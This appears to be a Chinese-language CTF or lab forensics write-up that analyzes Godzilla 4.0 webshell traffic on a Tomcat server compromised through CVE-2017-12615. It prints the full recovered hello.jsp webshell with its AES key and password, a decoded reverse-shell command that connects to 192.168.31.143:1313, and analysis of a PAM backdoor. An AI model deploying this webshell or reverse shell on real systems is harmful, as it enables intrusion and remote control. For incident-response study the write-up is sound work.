第六章-哥斯拉4.0流量分析
步骤一

发现这里大量请求hello.jsp文件,而且参数很像是传入一段payload,所以黑客ip就是192.168.31.190
步骤二

先看一下tomcat的版本号,结合一下日志再看看

1
| root@ip-10-0-10-3:/opt/apache-tomcat-8.5.19/logs# cat localhost_access_log.2024-09-19.txt
|
发现是文件上传上来的直接,结合我们发现的tomcat版本,直接锁定了为:CVE-2017-12615
步骤三
名字就是hello.jsp,不解释
步骤四,步骤五
1 2 3
| root@ip-10-0-10-3:/opt/apache-tomcat-8.5.19/webapps/ROOT# cat hello.jsp <%! String xc="1710acba6220f62b"; String pass="7f0e6f"; String md5=md5(pass+xc); class X extends ClassLoader{public X(ClassLoader z){super(z);}public Class Q(byte[] cb){return super.defineClass(cb, 0, cb.length);} }public byte[] x(byte[] s,boolean m){ try{javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));return c.doFinal(s); }catch (Exception e){return null; }} public static String md5(String s) {String ret = null;try {java.security.MessageDigest m;m = java.security.MessageDigest.getInstance("MD5");m.update(s.getBytes(), 0, s.length());ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();} catch (Exception e) {}return ret; } public static String base64Encode(byte[] bs) throws Exception {Class base64;String value = null;try {base64=Class.forName("java.util.Base64");Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);value = (String)Encoder.getClass().getMethod("encodeToString", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Encoder"); Object Encoder = base64.newInstance(); value = (String)Encoder.getClass().getMethod("encode", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e2) {}}return value; } public static byte[] base64Decode(String bs) throws Exception {Class base64;byte[] value = null;try {base64=Class.forName("java.util.Base64");Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);value = (byte[])decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Decoder"); Object decoder = base64.newInstance(); value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e2) {}}return value; }%><%try{byte[] data=base64Decode(request.getParameter(pass));data=x(data, false);if (session.getAttribute("payload")==null){session.setAttribute("payload",new X(this.getClass().getClassLoader()).Q(data));}else{request.setAttribute("parameters",data);java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();Object f=((Class)session.getAttribute("payload")).newInstance();f.equals(arrOut);f.equals(pageContext);response.getWriter().write(md5.substring(0,16));f.toString();response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));response.getWriter().write(md5.substring(16));} }catch (Exception e){} %>root@ip-10-0-10-3:/opt/apache-tomcat-8.5.19/webapps/ROOT#
|
xc的值就是密钥:1710acba6220f62b,密码就是7f0e6f,与步骤一的包对上了,证明确实是木马,算法是AES
步骤六,七
按照时间顺序先追踪一下POST发送的第一个hello.jsp包的http流,发现其中包含了三个http包,不奇怪,哥斯拉在连接的时候就是会发送三个包,我们尝试解密看看干了什么
其实发现了,就是正常连接时候做的一些初始化

这样三个包都过了,我们继续看第四个包,追到http流之后,发现又是三个包,前两个包和之前大差不差,但是第三个包返回东西很大,解密后

拿出返回信息解码

所以当前用户就是root没跑了,继续看下一个包,就是第七个POST访问hello.jsp的包

执行命令是uname -r,看一下回显信息

返回确实是内核信息
步骤八
接下来一条一条看就行了,没啥好说的

应该就是这个包了

应该就是这个了:Debian GNU/Linux 10 (buster)
步骤九
继续往下看包

解码后发现了命令,但是看返回包应该是执行失败了

继续看,其实我们发现这个http流里面有两个http包,解析下面的发现执行的是id命令,回显是root,呼应了前面,继续找

查看回显后,发现这个是执行成功的,所以答案就是:dpkg -l libpam-modules:amd64
步骤十
继续向下看包,发现这个疑似反弹shell

1 2 3
| root@ip-10-0-10-3:/tmp# echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMzEuMTQzLzEzMTMgMD4mMQ==|base64 -d /bin/bash -i >& /dev/tcp/192.168.31.143/1313 0>&1 root@ip-10-0-10-3:/tmp#
|
就是反弹shell,没跑了
步骤十一

继续看剩余的包,直到看完,发现了这个,猜测就是和/tmp目录有关了,猜测这就是攻击者上传的恶意文件
答案是:pam_unix.so
步骤十一,十二
这里我没有了思路,参考了别人的wp,我来分析一下,首先呢,服务端不太可能向外部机器发送信息,第二呢,我们得到了反弹shell的端口1313
所以我们可以继续寻找有这两个特征的流量

看到这个文件也拷贝到了其它的地方,我们直接下载下来分析
分析之前,我们得直到pam_unix.so是PAM后门,pam_unix.so是linux中的可插拔认证模块
常见用途:
- 系统登录认证(如 SSH、本地终端登录)
su
命令切换用户时的认证
- 图形界面登录认证
pam_sm_authenticate
是 PAM
(可插拔认证模块)框架中的一个函数,主要用于用户身份验证。这个函数的作用是对用户提供的凭证(如密码)进行验证,通常是在 PAM
模块中实现的
所以我们直接上去分析这个函数就行了

v12那里是一个比较函数,很像密码比对,前面的dnslog也很明显

流量分析也有作证